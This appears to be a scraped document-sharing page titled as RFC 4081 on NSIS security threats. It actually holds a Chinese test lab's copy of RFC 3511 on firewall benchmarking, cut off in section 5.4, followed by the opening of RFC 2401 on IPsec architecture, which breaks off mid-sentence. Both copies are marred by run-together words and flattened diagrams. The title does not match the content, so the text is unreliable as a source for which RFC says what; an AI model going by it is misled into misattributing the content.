rfc4081.Security Threats for Next Steps in Signaling (NSIS)

测评技术体系之测试方法篇（测试文档）RFC3511 Benchmarking Methodology for Firewall Performance，2003.4 北京国信网安信息系统测评技术实验室测评技术文章第 2 页 共 28 页Benchmarking Methodology for Firewall PerformanceRFC3511，2003.4Network Working Group B. Hickman Request for Comments: 3511 Spirent Communications Category: Informational D. Newman Network Test S. Tadjudin Spirent Communications T. Martin GVNW Consulting Inc Status of this MemoThis memo provides information for the Internet community. It does not specify an Internet standard of any kind. Distribution of this memo is unlimited. Copyright NoticeCopyright (C) The Internet Society (2003). All Rights Reserved. AbstractThis document discusses and defines a number of tests that may be used to describe the performance characteristics of firewalls. In addition to defining the tests, this document also describes specific formats for reporting the results of the tests. This document is a product of the Benchmarking Methodology Working Group (BMWG) of the Internet Engineering Task Force (IETF). 1 INTRODUCTION ··········································································································· 4 2 REQUIREMENTS ·········································································································· 4 3 SCOPE ·························································································································· 5 4TEST SETUP ................................................................................................................. 5 4.1 T EST C ONSIDERATIONS ............................................................................................ 6 4.2 V IRTUAL C LIENTS /S ERVERS ...................................................................................... 6 4.3 T EST T RAFFIC R EQUIREMENTS ................................................................................. 6 4.4 DUT/SUT T RAFFIC F LOWS ....................................................................................... 6 4.5 M ULTIPLE C LIENT /S ERVER T ESTING .......................................................................... 7 4.6 N ETWORK A DDRESS T RANSLATION (NAT) ................................................................. 7 4.7 R ULE S ETS .............................................................................................................. 7 4.8 W EB C ACHING .......................................................................................................... 7 4.9 A UTHENTICATION ...................................................................................................... 7 4.10 TCP S TACK C ONSIDERATIONS . (8)5BENCHMARKING TESTS ............................................................................................. 8 5.1 IP T HROUGHPUT ...................................................................................................... 8 5.1.1 Objective ......................................................................................................... 8 5.1.2 Setup Parameters . (8)测评技术文章5.1.3Procedure (8)5.1.4Measurement (8)5.1.5Reporting Format (9)5.2 C ONCURRENT TCP C ONNECTION C APACITY (9)5.2.1Objective (9)5.2.2Setup Parameters (9)5.2.3Procedure (10)5.2.4Measurements (10)5.2.5Reporting Format (11)5.3 M AXIMUM TCP C ONNECTION E STABLISHMENT R ATE (11)5.3.1Objective (11)5.3.2Setup Parameters (12)5.3.3Procedure (12)5.3.4Measurements (12)5.3.5Reporting Format (13)5.4 M AXIMUM TCP C ONNECTION T EAR D OWN R ATE (13)5.4.1Objective (13)5.4.2Setup Parameters (14)5.4.3Procedure (14)5.4.4Measurements (14)5.4.5Reporting Format (15)5.5 D ENIAL O F S ERVICE H ANDLING (15)5.5.1Objective (15)5.5.2Setup Parameters (15)5.5.3 5.5.3 Procedure (15)5.5.4Measurements (16)5.5.5Reporting Format (16)5.6 HTTP T RANSFER R ATE (16)5.6.1Objective (16)5.6.2Setup Parameters (16)5.6.3Procedure (17)5.6.4Measurements (17)5.6.5Reporting Format (18)5.7 M AXIMUM HTTP T RANSACTION R ATE (19)5.7.1Objective (19)5.7.2Setup Parameters (19)5.7.3Procedure (19)5.7.4Measurements (20)5.7.5Reporting Format (20)5.8 I LLEGAL T RAFFIC H ANDLING (20)5.8.1Objective (20)5.8.2Setup Parameters (20)5.8.3Procedure (21)5.8.4Measurements (21)第 3 页共28 页测评技术文章5.8.5Reporting Format (21)5.9 IP F RAGMENTATION H ANDLING (21)5.9.1Objective (21)5.9.2Setup Parameters (21)5.9.3Procedure (22)5.9.4Measurements (22)5.9.5Reporting Format (23)5.10 L ATENCY (23)5.10.1Objective (23)5.10.2Setup Parameters (23)5.10.3Network-layer procedure (23)5.10.4Application layer procedure (24)5.10.5Measurements (24)5.10.6Network-layer reporting format (24)5.10.7Application-layer reporting format (25)6 REFERENCES (25)6.1 N ORMATIVE R EFERENCES (25)6.2 I NFORMATIVE R EFERENCES (25)7 SECURITY CONSIDERATIONS (25)8 APPENDIX A: HTTP (HYPERTEXT TRANSFER PROTOCOL) (26)9 APPENDIX B: CONNECTION ESTABLISHMENT TIME MEASUREMENTS (26)10 APPENDIX C: CONNECTION TEAR DOWN TIME MEASUREMENTS (27)11 AUTHORS' ADDRESSES (27)1 IntroductionThis document provides methodologies for the performance benchmarking of firewalls. It covers four areas: forwarding, connection, latency and filtering. In addition to defining tests, this document also describes specific formats for reporting test results. A previous document, "Benchmarking Terminology for Firewall Performance" [1], defines many of the terms that are used in this document. The terminology document SHOULD be consulted before attempting to make use of this document.2 RequirementsIn this document, the words that are used to define the significance of each particular requirement are capitalized. These words are:⏹"MUST"，This word, or the words "REQUIRED" and "SHALL" mean that the item is anabsolute requirement of the specification.⏹"SHOULD"，This word or the adjective "RECOMMENDED" means that there may existvalid reasons in particular circumstances to ignore this item, but the full implications第 4 页共28 页测评技术文章第 5 页 共 28 页should be understood and the case carefully weighed before choosing a different course."MAY"，This word or the adjective "OPTIONAL" means that this item is truly optional. One vendor may choose to include the item because a particular marketplace requires it or because it enhances the product, for example; another vendor may omit the same item.An implementation is not compliant if it fails to satisfy one or more of the MUST requirements. An implementation that satisfies all the MUST and all the SHOULD requirements is said to be "unconditionally compliant"; one that satisfies all the MUST requirements but not all the SHOULD requirements is said to be "conditionally compliant".3 ScopeFirewalls can control access between networks. Usually, a firewall protects a private network from public or shared network(s) to which it is connected. A firewall can be as simple as a single device that filters packets or as complex as a group of devices that combine packet filtering and application-level proxy and network translation services. This document focuses on benchmarking firewall performance, wherever possible, independent of implementation.4 Test SetupTest configurations defined in this document will be confined to dual-homed and tri-homed as shown in figure 1 and figure 2 respectively.Firewalls employing dual-homed configurations connect two networks. One interface of the firewall is attached to the unprotected network [1], typically the public network (Internet). The other interface is connected to the protected network [1], typically the internal LAN. In the case of dual-homed configurations, servers which are made accessible to the public (Unprotected) network are attached to the private (Protected) network.+----------+ +----------+ | | | +----------+ | | | | Servers/ |----| | | |------| Servers/ | | Clients | | | | | | Clients | | | |-------| DUT/SUT |--------| | | +----------+ | | | | +----------+ Protected | +----------+ | Unprotected Network | | NetworkFigure 1 (Dual-Homed)Tri-homed [1] configurations employ a third segment called a Demilitarized Zone (DMZ). With tri-homed configurations, servers accessible to the public network are attached to the DMZ. Tri-Homed configurations offer additional security by separating server(s) accessible to the public network from internal hosts.+----------+ +----------+ | | | +----------+ | | | | Clients |----| | | |------| Servers/ | | | | | | | | Clients | +----------+ |-------| DUT/SUT |--------| | | | | | | +----------+ | +----------+ |Protected | | | Unprotected Network | Network测评技术文章第 6 页 共 28 页|----------------- | DMZ | |+-----------+ | | | Servers | | | +-----------+ Figure 2 (Tri-Homed)4.1 Test Considerations 4.2 Virtual Clients/ServersSince firewall testing may involve data sources ，which emulate multiple users or hosts, the methodology uses the terms virtual clients/servers. For these firewall tests, virtual clients/servers specify application layer entities ，which may not be associated with a unique physical interface. For example, four virtual clients may originate from the same data source [1]. The test report MUST indicate the number of virtual clients and virtual servers participating in the test.4.3 Test Traffic RequirementsWhile the function of a firewall is to enforce access control policies, the criteria by which those policies are defined vary depending on the implementation. Firewalls may use network layer, transport layer or, in many cases, application-layer criteria to make access-control decisions.For the purposes of benchmarking firewall performance, this document references HTTP 1.1 or higher as the application layer entity. The methodologies MAY be used as a template for benchmarking with other applications. Since testing may involve proxy based DUT/SUTs, HTTP version considerations are discussed in appendix A.4.4 DUT/SUT Traffic FlowsSince the number of interfaces are not fixed, the traffic flows will be dependent upon the configuration used in benchmarking the DUT/SUT. Note that the term "traffic flows" is associated with client-to- server requests.For Dual-Homed configurations, there are two unique traffic flows: Client Server ------ ------Protected -> Unprotected Unprotected -> ProtectedFor Tri-Homed configurations, there are three unique traffic flows: Client Server ------ ------Protected -> Unprotected Protected -> DMZ Unprotected -> DMZ测评技术文章4.5 Multiple Client/Server TestingOne or more clients may target multiple servers for a given application. Each virtual client MUST initiate connections in a round-robin fashion. For example, if the test consisted of six virtual clients targeting three servers, the pattern would be as follows: Client Target Server (In order of request)#1 1 2 3 1...#2 2 3 1 2...#3 3 1 2 3...#4 1 2 3 1...#5 2 3 1 2...#6 3 1 2 3...4.6 Network Address Translation (NAT)Many firewalls implement network address translation (NAT) [1], a function which translates private internet addresses to public internet addresses. This involves additional processing on the part of the DUT/SUT and may impact performance. Therefore, tests SHOULD be ran with NAT disabled and NAT enabled to determine the performance differential, if any. The test report MUST indicate whether NAT was enabled or disabled.4.7 Rule SetsRule sets [1] are a collection of access control policies that determine which packets the DUT/SUT will forward and which it will reject [1]. Since criteria by which these access control policies may be defined will vary depending on the capabilities of the DUT/SUT, the following is limited to providing guidelines for configuring rule sets when benchmarking the performance of the DUT/SUT.It is RECOMMENDED that a rule be entered for each host (Virtual client). In addition, testing SHOULD be performed using different size rule sets to determine its impact on the performance of the DUT/SUT. Rule sets MUST be configured in a manner, such that, rules associated with actual test traffic are configured at the end of the rule set and not at the beginning. The DUT/SUT SHOULD be configured to deny access to all traffic which was not previously defined in the rule set. The test report SHOULD include the DUT/SUT configured rule set(s).4.8 Web CachingSome firewalls include caching agents to reduce network load. When making a request through a caching agent, the caching agent attempts to service the response from its internal memory. The cache itself saves responses it receives, such as responses for HTTP GET requests. Testing SHOULD be performed with any caching agents on the DUT/SUT disabled.4.9 AuthenticationAccess control may involve authentication processes such as user, client or session authentication. Authentication is usually performed by devices external to the firewall itself, such as an authentication server(s) and may add to the latency of the system. Any authentication processes MUST be included as part of connection setup process.第7 页共28 页测评技术文章4.10 TCP Stack ConsiderationsSome test instruments allow configuration of one or more TCP stack parameters, thereby influencing the traffic flows which will be offered and impacting performance measurements. While this document does not attempt to specify which TCP parameters should be configurable, any such TCP parameter(s) MUST be noted in the test report. In addition, when comparing multiple DUT/SUTs, the same TCP parameters MUST be used.5 Benchmarking Tests5.1 IP Throughput5.1.1 ObjectiveTo determine the throughput of network-layer data traversing the DUT/SUT, as defined in RFC 1242 [3]. Note that while RFC 1242 uses the term frames, which is associated with the link layer, the procedure uses the term packets, since it is referencing the network layer.5.1.2 Setup ParametersThe following parameters MUST be defined:⏹Packet size - Number of bytes in the IP packet, exclusive of any link layer headeror checksums.⏹Test Duration - Duration of the test, expressed in seconds.5.1.3 ProcedureThe test instrument MUST offer unicast IP packets to the DUT/SUT at a constant rate. The test MAY consist of either bi-directional or unidirectional traffic; for example, an emulated client may offer a unicast stream of packets to an emulated server, or the test instrument may simulate a client/server exchange by offering bi-directional traffic.This test will employ an iterative search algorithm. Each iteration will involve the test instrument varying the intended load until the maximum rate, at which no packet loss occurs, is found. Since backpressure mechanisms may be employed, resulting in the intended load and offered load being different, the test SHOULD be performed in either a packet based or time based manner as described in RFC 2889 [5]. As with RFC 1242, the term packet is used in place of frame. The duration of the test portion of each trial MUST be at least 30 seconds.It is RECOMMENDED to perform the throughput measurements with different packet sizes. When testing with different packet sizes the DUT/SUT configuration MUST remain the same.5.1.4 Measurement5.1.4.1 Network LayerThroughput:Maximum offered load, expressed in either bits per second or packets per second, at which no packet loss is detected. The bits to be counted are in the IP packet (header plus payload); other fields, such as link-layer headers and trailers, MUST NOT be included第8 页共28 页测评技术文章in the measurement.Forwarding Rate：Forwarding rate, expressed in either bits per second or packets per second, the device is observed to successfully forward to the correct destination interface in response to a specified offered load. The bits to be counted are in the IP packet (header plus payload); other fields, such as link-layer headers and trailers, MUST NOT be included in the measurement.5.1.5 Reporting FormatThe test report MUST note the packet size(s), test duration, throughput and forwarding rate. In addition, the test report MUST conform to the reporting requirements set in section 4, Test Setup. If the test involved offering packets which target more than one segment (Protected, Unprotected or DMZ), the report MUST identify the results as an aggregate throughput measurement. The throughput results SHOULD be reported in the format of a table with a row for each of the tested packet sizes. There SHOULD be columns for the packet size, the intended load, the offered load, resultant throughput and forwarding rate for each test. The intermediate results of the search algorithm MAY be saved in log file which includes the packet size, test duration and for each iteration:- Step Iteration- Pass/Fail Status- Total packets offered- Total packets forwarded- Intended load- Offered load (If applicable)- Forwarding rate5.2 Concurrent TCP Connection Capacity5.2.1 ObjectiveTo determine the maximum number of concurrent TCP connections supported through or with the DUT/SUT, as defined in RFC 2647 [1]. This test is intended to find the maximum number of entries the DUT/SUT can store in its connection table.5.2.2 Setup ParametersThe following parameters MUST be defined for all tests:5.2.2.1 Transport-Layer Setup ParametersConnection Attempt Rate:The aggregate rate, expressed in connections per second, at which TCP connection requests are attempted. The rate SHOULD be set at or lower than the maximum rate at which the DUT/SUT can accept connection requests.Aging Time:第9 页共28 页测评技术文章The time, expressed in seconds, the DUT/SUT will keep a connection in its connection table after receiving a TCP FIN or RST packet.5.2.2.2 Application-Layer Setup ParametersValidation Method:HTTP 1.1 or higher MUST be used for this test for both clients and servers. The client and server MUST use the same HTTP version.Object Size:Defines the number of bytes, excluding any bytes associated with the HTTP header, to be transferred in response to an HTTP 1.1 or higher GET request.5.2.3 ProcedureThis test will employ an iterative search algorithm to determine the maximum number of concurrent TCP connections supported through or with the DUT/SUT.For each iteration, the aggregate number of concurrent TCP connections attempted by the virtual client(s) will be varied. The destination address will be that of the server or that of the NAT proxy. The aggregate rate will be defined by connection attempt rate, and will be attempted in a round-robin fashion (See 4.5). To validate all connections, the virtual client(s) MUST request an object using an HTTP 1.1 or higher GET request. The requests MUST be initiated on each connection after all of the TCP connections have been established.When testing proxy-based DUT/SUTs, the virtual client(s) MUST request two objects using HTTP 1.1 or higher GET requests. The first GET request is required for connection time establishment [1] measurements as specified in appendix B. The second request is used for validation as previously mentioned. When comparing proxy and non-proxy based DUT/SUTs, the test MUST be performed in the same manner.Between each iteration, it is RECOMMENDED that the test instrument issue a TCP RST referencing each connection attempted for the previous iteration, regardless of whether or not the connection attempt was successful. The test instrument will wait for aging time before continuing to the next iteration.5.2.4 Measurements5.2.4.1 Application-Layer measurementsNumber of objects requestedNumber of objects returned5.2.4.2 Transport-Layer measurementsMaximum concurrent connections:Total number of TCP connections open for the last successful iteration performed in the search algorithm.Minimum connection establishment time:第10 页共28 页Lowest TCP connection establishment time measured, as defined in appendix B.Maximum connection establishment time:Highest TCP connection establishment time measured, as defined in appendix B.Average connection establishment time:The mean of all measurements of connection establishment times.Aggregate connection establishment time:The total of all measurements of connection establishment times.5.2.5 Reporting FormatThe test report MUST conform to the reporting requirements set in section 4, Test Setup.5.2.5.1 Application-Layer Reporting:The test report MUST note the object size, number of completed requests and number of completed responses. The intermediate results of the search algorithm MAY be reported in a tabular format with a column for each iteration. There SHOULD be rows for the number of requests attempted, number and percentage requests completed, number of responses attempted, number and percentage of responses completed. The table MAY be combined with the transport-layer reporting, provided that the table identify this as an application layer measurement.Version information:The test report MUST note the version of HTTP client(s) and server(s).5.2.5.2 Transport-Layer Reporting:The test report MUST note the connection attempt rate, aging time, minimum TCP connection establishment time, maximum TCP connection establishment time, average connection establishment time, aggregate connection establishment time and maximum concurrent connections measured.The intermediate results of the search algorithm MAY be reported in the format of a table with a column for each iteration. There SHOULD be rows for the total number of TCP connections attempted, number and percentage of TCP connections completed, minimum TCP connection establishment time, maximum TCP connection establishment time, average connection establishment time and the aggregate connection establishment time.5.3 Maximum TCP Connection Establishment Rate5.3.1 ObjectiveTo determine the maximum TCP connection establishment rate through or with the DUT/SUT, as defined by RFC 2647 [1]. This test is intended to find the maximum rate the DUT/SUT can update its connection table.5.3.2 Setup ParametersThe following parameters MUST be defined for all tests:5.3.2.1 Transport-Layer Setup ParametersNumber of Connections:Defines the aggregate number of TCP connections that must be established.Aging Time:The time, expressed in seconds, the DUT/SUT will keep a connection in it's state table after receiving a TCP FIN or RST packet.5.3.2.2 Application-Layer Setup ParametersValidation Method:HTTP 1.1 or higher MUST be used for this test for both clients and servers. The client and server MUST use the same HTTP version.Object Size:Defines the number of bytes, excluding any bytes associated with the HTTP header, to be transferred in response to an HTTP 1.1 or higher GET request.5.3.3 ProcedureThis test will employ an iterative search algorithm to determine the maximum rate at which the DUT/SUT can accept TCP connection requests. For each iteration, the aggregate rate at which TCP connection requests are attempted by the virtual client(s) will be varied. The destination address will be that of the server or that of the NAT proxy. The aggregate number of connections, defined by number of connections, will be attempted in a round-robin fashion (See 4.5). The same application-layer object transfers required for validation and establishment time measurements as described in the concurrent TCP connection capacity test MUST be performed.Between each iteration, it is RECOMMENDED that the test instrument issue a TCP RST referencing each connection attempted for the previous iteration, regardless of whether or not the connection attempt was successful. The test instrument will wait for aging time before continuing to the next iteration.5.3.4 Measurements5.3.4.1 Application-Layer measurementsNumber of objects requestedNumber of objects returned5.3.4.2 Transport-Layer measurementsHighest connection rate:Highest rate, in connections per second, for which all connections successfully opened in the search algorithm.Minimum connection establishment time:Lowest TCP connection establishment time measured, as defined in appendix B.Maximum connection establishment time:Highest TCP connection establishment time measured, as defined in appendix B.Average connection establishment time:The mean of all measurements of connection establishment times.Aggregate connection establishment time:The total of all measurements of connection establishment times.5.3.5 Reporting FormatThe test report MUST conform to the reporting requirements set in section 4, Test Setup.5.3.5.1 Application-Layer Reporting:The test report MUST note object size(s), number of completed requests and number of completed responses.The intermediate results of the search algorithm MAY be reported in a tabular format with a column for each iteration. There SHOULD be rows for the number of requests attempted, number and percentage requests completed, number of responses attempted, number and percentage of responses completed. The table MAY be combined with the transport-layer reporting, provided that the table identify this as an application layer measurement.Version information:The test report MUST note the version of HTTP client(s) and server(s).5.3.5.2 Transport-Layer Reporting:The test report MUST note the number of connections, aging time, minimum TCP connection establishment time, maximum TCP connection establishment time, average connection establishment time, aggregate connection establishment time and highest connection rate measured.The intermediate results of the search algorithm MAY be reported in the format of a table with a column for each iteration. There SHOULD be rows for the connection attempt rate, total number of TCP connections attempted, total number of TCP connections completed, minimum TCP connection establishment time, maximum TCP connection establishment time, average connection establishment time and the aggregate connection establishment time.5.4 Maximum TCP Connection Tear Down Rate5.4.1 ObjectiveTo determine the maximum TCP connection tear down rate through or with the DUT/SUT, as defined by RFC 2647 [1].。

Network Working Group S. Kent Request for Comments: 2401 BBN Corp Obsoletes: 1825 R. Atkinson Category: Standards Track @Home Network November 1998 Security Architecture for the Internet ProtocolStatus of this MemoThis document specifies an Internet standards track protocol for the Internet community, and requests discussion and suggestions forimprovements. Please refer to the current edition of the "InternetOfficial Protocol Standards" (STD 1) for the standardization stateand status of this protocol. Distribution of this memo is unlimited.Copyright NoticeCopyright (C) The Internet Society (1998). All Rights Reserved.Table of Contents1. Introduction (3)1.1 Summary of Contents of Document (3)1.2 Audience (3)1.3 Related Documents (4)2. Design Objectives (4)2.1 Goals/Objectives/Requirements/Problem Description (4)2.2 Caveats and Assumptions (5)3. System Overview (5)3.1 What IPsec Does (6)3.2 How IPsec Works (6)3.3 Where IPsec May Be Implemented (7)4. Security Associations (8)4.1 Definition and Scope (8)4.2 Security Association Functionality (10)4.3 Combining Security Associations (11)4.4 Security Association Databases (13)4.4.1 The Security Policy Database (SPD) (14)4.4.2 Selectors (17)4.4.3 Security Association Database (SAD) (21)4.5 Basic Combinations of Security Associations (24)4.6 SA and Key Management (26)4.6.1 Manual Techniques (27)4.6.2 Automated SA and Key Management (27)4.6.3 Locating a Security Gateway (28)4.7 Security Associations and Multicast (29)Kent & Atkinson Standards Track [Page 1]5. IP Traffic Processing (30)5.1 Outbound IP Traffic Processing (30)5.1.1 Selecting and Using an SA or SA Bundle (30)5.1.2 Header Construction for Tunnel Mode (31)5.1.2.1 IPv4 -- Header Construction for Tunnel Mode (31)5.1.2.2 IPv6 -- Header Construction for Tunnel Mode (32)5.2 Processing Inbound IP Traffic (33)5.2.1 Selecting and Using an SA or SA Bundle (33)5.2.2 Handling of AH and ESP tunnels (34)6. ICMP Processing (relevant to IPsec) (35)6.1 PMTU/DF Processing (36)6.1.1 DF Bit (36)6.1.2 Path MTU Discovery (PMTU) (36)6.1.2.1 Propagation of PMTU (36)6.1.2.2 Calculation of PMTU (37)6.1.2.3 Granularity of PMTU Processing (37)6.1.2.4 PMTU Aging (38)7. Auditing (39)8. Use in Systems Supporting Information Flow Security (39)8.1 Relationship Between Security Associations and Data Sensitivity.40 8.2 Sensitivity Consistency Checking (40)8.3 Additional MLS Attributes for Security Association Databases (41)8.4 Additional Inbound Processing Steps for MLS Networking (41)8.5 Additional Outbound Processing Steps for MLS Networking (41)8.6 Additional MLS Processing for Security Gateways (42)9. Performance Issues (42)10. Conformance Requirements (43)11. Security Considerations (43)12. Differences from RFC 1825 (43)Acknowledgements (44)Appendix A -- Glossary (45)Appendix B -- Analysis/Discussion of PMTU/DF/Fragmentation Issues (48)B.1 DF bit (48)B.2 Fragmentation (48)B.3 Path MTU Discovery (52)B.3.1 Identifying the Originating Host(s) (53)B.3.2 Calculation of PMTU (55)B.3.3 Granularity of Maintaining PMTU Data (56)B.3.4 Per Socket Maintenance of PMTU Data (57)B.3.5 Delivery of PMTU Data to the Transport Layer (57)B.3.6 Aging of PMTU Data (57)Appendix C -- Sequence Space Window Code Example (58)Appendix D -- Categorization of ICMP messages (60)References (63)Disclaimer (64)Author Information (65)Full Copyright Statement (66)Kent & Atkinson Standards Track [Page 2]1. Introduction1.1 Summary of Contents of DocumentThis memo specifies the base architecture for IPsec compliantsystems. The goal of the architecture is to provide various security services for traffic at the IP layer, in both the IPv4 and IPv6environments. This document describes the goals of such systems,their components and how they fit together with each other and intothe IP environment. It also describes the security services offered by the IPsec protocols, and how these services can be employed in the IP environment. This document does not address all aspects of IPsec architecture. Subsequent documents will address additionalarchitectural details of a more advanced nature, e.g., use of IPsecin NAT environments and more complete support for IP multicast. The following fundamental components of the IPsec security architectureare discussed in terms of their underlying, required functionality.Additional RFCs (see Section 1.3 for pointers to other documents)define the protocols in (a), (c), and (d).a. Security Protocols -- Authentication Header (AH) andEncapsulating Security Payload (ESP)b. Security Associations -- what they are and how they work,how they are managed, associated processingc. Key Management -- manual and automatic (The Internet KeyExchange (IKE))d. Algorithms for authentication and encryptionThis document is not an overall Security Architecture for theInternet; it addresses security only at the IP layer, providedthrough the use of a combination of cryptographic and protocolsecurity mechanisms.The keywords MUST, MUST NOT, REQUIRED, SHALL, SHALL NOT, SHOULD,SHOULD NOT, RECOMMENDED, MAY, and OPTIONAL, when they appear in this document, are to be interpreted as described in RFC 2119 [Bra97].1.2 AudienceThe target audience for this document includes implementers of thisIP security technology and others interested in gaining a generalbackground understanding of this system. In particular, prospective users of this technology (end users or system administrators) arepart of the target audience. A glossary is provided as an appendix Kent & Atkinson Standards Track [Page 3]to help fill in gaps in background/vocabulary. This document assumes that the reader is familiar with the Internet Protocol, relatednetworking technology, and general security terms and concepts.1.3 Related DocumentsAs mentioned above, other documents provide detailed definitions ofsome of the components of IPsec and of their inter-relationship.They include RFCs on the following topics:a. "IP Security Document Roadmap" [TDG97] -- a documentproviding guidelines for specifications describing encryption and authentication algorithms used in this system.b. security protocols -- RFCs describing the AuthenticationHeader (AH) [KA98a] and Encapsulating Security Payload (ESP) [KA98b] protocols.c. algorithms for authentication and encryption -- a separateRFC for each algorithm.d. automatic key management -- RFCs on "The Internet KeyExchange (IKE)" [HC98], "Internet Security Association andKey Management Protocol (ISAKMP)" [MSST97],"The OAKLEY KeyDetermination Protocol" [Orm97], and "The Internet IPSecurity Domain of Interpretation for ISAKMP" [Pip98].2. Design Objectives2.1 Goals/Objectives/Requirements/Problem DescriptionIPsec is designed to provide interoperable, high quality,cryptographically-based security for IPv4 and IPv6. The set ofsecurity services offered includes access control, connectionlessintegrity, data origin authentication, protection against replays (a form of partial sequence integrity), confidentiality (encryption),and limited traffic flow confidentiality. These services areprovided at the IP layer, offering protection for IP and/or upperlayer protocols.These objectives are met through the use of two traffic securityprotocols, the Authentication Header (AH) and the EncapsulatingSecurity Payload (ESP), and through the use of cryptographic keymanagement procedures and protocols. The set of IPsec protocolsemployed in any context, and the ways in which they are employed,will be determined by the security and system requirements of users, applications, and/or sites/organizations.When these mechanisms are correctly implemented and deployed, theyought not to adversely affect users, hosts, and other Internetcomponents that do not employ these security mechanisms forKent & Atkinson Standards Track [Page 4]protection of their traffic. These mechanisms also are designed tobe algorithm-independent. This modularity permits selection ofdifferent sets of algorithms without affecting the other parts of the implementation. For example, different user communities may selectdifferent sets of algorithms (creating cliques) if required.A standard set of default algorithms is specified to facilitateinteroperability in the global Internet. The use of thesealgorithms, in conjunction with IPsec traffic protection and keymanagement protocols, is intended to permit system and applicationdevelopers to deploy high quality, Internet layer, cryptographicsecurity technology.2.2 Caveats and AssumptionsThe suite of IPsec protocols and associated default algorithms aredesigned to provide high quality security for Internet traffic.However, the security offered by use of these protocols ultimatelydepends on the quality of the their implementation, which is outside the scope of this set of standards. Moreover, the security of acomputer system or network is a function of many factors, includingpersonnel, physical, procedural, compromising emanations, andcomputer security practices. Thus IPsec is only one part of anoverall system security architecture.Finally, the security afforded by the use of IPsec is criticallydependent on many aspects of the operating environment in which theIPsec implementation executes. For example, defects in OS security, poor quality of random number sources, sloppy system managementprotocols and practices, etc. can all degrade the security providedby IPsec. As above, none of these environmental attributes arewithin the scope of this or other IPsec standards.3. System OverviewThis section provides a high level description of how IPsec works,the components of the system, and how they fit together to providethe security services noted above. The goal of this description isto enable the reader to "picture" the overall process/system, see how it fits into the IP environment, and to provide context for latersections of this document, which describe each of the components inmore detail.An IPsec implementation operates in a host or a security gatewayenvironment, affording protection to IP traffic. The protectionoffered is based on requirements defined by a Security PolicyDatabase (SPD) established and maintained by a user or systemadministrator, or by an application operating within constraintsKent & Atkinson Standards Track [Page 5]established by either of the above. In general, packets are selected for one of three processing modes based on IP and transport layerheader information (Selectors, Section 4.4.2) matched against entries in the database (SPD). Each packet is either afforded IPsec security services, discarded, or allowed to bypass IPsec, based on theapplicable database policies identified by the Selectors.3.1 What IPsec DoesIPsec provides security services at the IP layer by enabling a system to select required security protocols, determine the algorithm(s) to use for the service(s), and put in place any cryptographic keysrequired to provide the requested services. IPsec can be used toprotect one or more "paths" between a pair of hosts, between a pairof security gateways, or between a security gateway and a host. (The term "security gateway" is used throughout the IPsec documents torefer to an intermediate system that implements IPsec protocols. For example, a router or a firewall implementing IPsec is a securitygateway.)The set of security services that IPsec can provide includes accesscontrol, connectionless integrity, data origin authentication,rejection of replayed packets (a form of partial sequence integrity), confidentiality (encryption), and limited traffic flowconfidentiality. Because these services are provided at the IPlayer, they can be used by any higher layer protocol, e.g., TCP, UDP, ICMP, BGP, etc.The IPsec DOI also supports negotiation of IP compression [SMPT98],motivated in part by the observation that when encryption is employed within IPsec, it prevents effective compression by lower protocollayers.3.2 How IPsec WorksIPsec uses two protocols to provide traffic security --Authentication Header (AH) and Encapsulating Security Payload (ESP). Both protocols are described in more detail in their respective RFCs [KA98a, KA98b].o The IP Authentication Header (AH) [KA98a] providesconnectionless integrity, data origin authentication, and anoptional anti-replay service.o The Encapsulating Security Payload (ESP) protocol [KA98b] may provide confidentiality (encryption), and limited traffic flow confidentiality. It also may provide connectionlessKent & Atkinson Standards Track [Page 6]integrity, data origin authentication, and an anti-replayservice. (One or the other set of these security servicesmust be applied whenever ESP is invoked.)o Both AH and ESP are vehicles for access control, based on the distribution of cryptographic keys and the management oftraffic flows relative to these security protocols.These protocols may be applied alone or in combination with eachother to provide a desired set of security services in IPv4 and IPv6. Each protocol supports two modes of use: transport mode and tunnelmode. In transport mode the protocols provide protection primarilyfor upper layer protocols; in tunnel mode, the protocols are applied to tunneled IP packets. The differences between the two modes arediscussed in Section 4.IPsec allows the user (or system administrator) to control thegranularity at which a security service is offered. For example, one can create a single encrypted tunnel to carry all the traffic between two security gateways or a separate encrypted tunnel can be createdfor each TCP connection between each pair of hosts communicatingacross these gateways. IPsec management must incorporate facilities for specifying:o which security services to use and in what combinationso the granularity at which a given security protection should be appliedo the algorithms used to effect cryptographic-based securityBecause these security services use shared secret values(cryptographic keys), IPsec relies on a separate set of mechanismsfor putting these keys in place. (The keys are used forauthentication/integrity and encryption services.) This documentrequires support for both manual and automatic distribution of keys. It specifies a specific public-key based approach (IKE -- [MSST97,Orm97, HC98]) for automatic key management, but other automated keydistribution techniques MAY be used. For example, KDC-based systems such as Kerberos and other public-key systems such as SKIP could beemployed.3.3 Where IPsec May Be ImplementedThere are several ways in which IPsec may be implemented in a host or in conjunction with a router or firewall (to create a securitygateway). Several common examples are provided below:a. Integration of IPsec into the native IP implementation. This requires access to the IP source code and is applicable toboth hosts and security gateways.Kent & Atkinson Standards Track [Page 7]b. "Bump-in-the-stack" (BITS) implementations, where IPsec isimplemented "underneath" an existing implementation of an IP protocol stack, between the native IP and the local networkdrivers. Source code access for the IP stack is not required in this context, making this implementation approachappropriate for use with legacy systems. This approach, when it is adopted, is usually employed in hosts.c. The use of an outboard crypto processor is a common designfeature of network security systems used by the military, and of some commercial systems as well. It is sometimes referred to as a "Bump-in-the-wire" (BITW) implementation. Suchimplementations may be designed to serve either a host or agateway (or both). Usually the BITW device is IPaddressable. When supporting a single host, it may be quite analogous to a BITS implementation, but in supporting arouter or firewall, it must operate like a security gateway.4. Security AssociationsThis section defines Security Association management requirements for all IPv6 implementations and for those IPv4 implementations thatimplement AH, ESP, or both. The concept of a "Security Association" (SA) is fundamental to IPsec. Both AH and ESP make use of SAs and a major function of IKE is the establishment and maintenance ofSecurity Associations. All implementations of AH or ESP MUST support the concept of a Security Association as described below. Theremainder of this section describes various aspects of SecurityAssociation management, defining required characteristics for SApolicy management, traffic processing, and SA management techniques.4.1 Definition and ScopeA Security Association (SA) is a simplex "connection" that affordssecurity services to the traffic carried by it. Security servicesare afforded to an SA by the use of AH, or ESP, but not both. Ifboth AH and ESP protection is applied to a traffic stream, then two(or more) SAs are created to afford protection to the traffic stream. To secure typical, bi-directional communication between two hosts, or between two security gateways, two Security Associations (one in each direction) are required.A security association is uniquely identified by a triple consisting of a Security Parameter Index (SPI), an IP Destination Address, and a security protocol (AH or ESP) identifier. In principle, theDestination Address may be a unicast address, an IP broadcastaddress, or a multicast group address. However, IPsec SA management mechanisms currently are defined only for unicast SAs. Hence, in the Kent & Atkinson Standards Track [Page 8]discussions that follow, SAs will be described in the context ofpoint-to-point communication, even though the concept is 